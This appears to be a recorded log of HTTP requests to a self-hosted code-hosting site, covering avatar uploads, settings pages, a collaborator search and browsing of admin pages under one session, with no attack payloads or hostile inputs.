{"method": "POST", "target": "/user/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR5Mv0yttLbvaY13B", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryR5Mv0yttLbvaY13B\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
|
||||||
|
{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DYour%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykD1bO7T1SED3rJ5v", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarykD1bO7T1SED3rJ5v\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
|
||||||
|
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Brepository%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/settings/collaboration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "X-Requested-With: XMLHttpRequest", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/users?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/emails", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/emails?q=example.com", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/orgs", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/auths", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/config", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
